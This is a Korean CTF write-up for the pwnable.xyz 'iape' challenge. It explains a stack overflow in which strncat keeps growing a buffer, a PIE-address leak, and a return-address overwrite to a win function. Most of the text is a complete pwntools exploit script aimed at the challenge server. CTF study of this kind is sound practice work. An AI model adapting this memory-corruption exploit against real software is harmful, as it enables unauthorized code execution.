[pwnable.xyz]iape

하 리턴이 안 덮혀서 삽질해서 푸는데 5시간이 걸렸다.

메뉴는 Init, Append, Print, Exit 4가지로 구성되어있다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  const char *v4; // rdi
  int v5; // eax
  char s; // [rsp+10h] [rbp-400h]

  setup();
  v3 = 0LL;
  v4 = &s;
  memset(&s, 0, 1024uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu(v4, v3);
      v5 = read_int32();
      if ( v5 != 1 )
        break;
      printf("data: ");
      v3 = &qword_80;
      v4 = &s;
      fgets(&s, 128, stdin);
    }
    if ( v5 <= 1 )
      break;
    if ( v5 == 2 )
    {
      v4 = &s;
      append(&s);
    }
    else if ( v5 == 3 )
    {
      v3 = &s;
      v4 = "Your message: %s\n";
      printf("Your message: %s\n", &s);
    }
    else
    {
LABEL_13:
      v4 = "Invalid";
      puts("Invalid");
    }
  }
  if ( v5 )
    goto LABEL_13;
  return 0;
}

srand(time(0)) 시드 줘서 rand() % 16 만큼 buf에 입력받을 수 있다.

char *__fastcall append(char *a1)
{
  char buf; // [rsp+10h] [rbp-20h]
  unsigned int v3; // [rsp+2Ch] [rbp-4h]

  v3 = rand() % 16;
  printf("Give me %d chars: ", v3);
  read(0, &buf, v3);
  return strncat(a1, &buf, v3);
}

우선 PIE때문에 PIE leak부터 해줘야한다. append 함수에서 입력받을 때 buf + 8위치에 PIE 주소가 있었고 random값이 14이상이면 3번메뉴에서 PIE leak할 수 있다.

append 함수에서 strncat으로 s변수 계속 값을 넣어주고 main 함수에서 s변수의 리턴을 win함수 주소로 맞춰주면 된다.

거의 80퍼센트 학률로 플래그 따인다.. ㅎㅎ 정말 삽질 오래했다.

exploit.py

from pwn import *
from ctypes import *

# context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30014)
lib = CDLL('libc.so.6')
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
count = 0
win = e.symbols['win']

def leak():
	global count
	while(True):
		log.info('count : {}'.format(count))
		sla('>','2')
		p.recvuntil('me ')
		c = int(p.recvuntil(' ').strip())
		if c == 0:
			continue
		if c >= 14:
			sa(':','A'*8)
			count += 8
			sla('>','3')
			pie = u64((p.recvuntil('\x0a')[-7:])[:6] + '\x00\x00') - 0xbc2
			log.info('pie : {}'.format(hex(pie)))
			return (pie+e.symbols['win'])
			count += 6
		else:
			sa(':','A'*(c-1)+'\x00')
		count += c-1

def exploit(win):
	global count
	while(True):
		log.info('count : {}'.format(count))
		log.info('win : {}'.format(hex(win)))
		if count == 1026:
			i = 0
			while(True):
				log.info('count : {}'.format(count))
				sla('>','2')
				p.recvuntil('me ')
				c = int(p.recvuntil(' ').strip())
				if c > 8:
					sa(':',p64(win)) # ret
					#raw_input()
					sla('>','0')
					p.interactive()
				elif c == 0:
					continue
				elif c == 1:
					sa(':','\x00')
				else:
					sa(':','\x00')
		sla('>','2')
		p.recvuntil('me ')
		c = int(p.recvuntil(' ').strip())
		if c == 0:
			continue
		if count < 1020:
			sa(':','A'*(c-1)+'\x00')
			count += c-1
		else:
			sa(':','A\x00')
			count += 1
win = leak()
log.info('win : {}'.format(hex(win)))
try:
	exploit(win)
except:
	pass

p.interactive()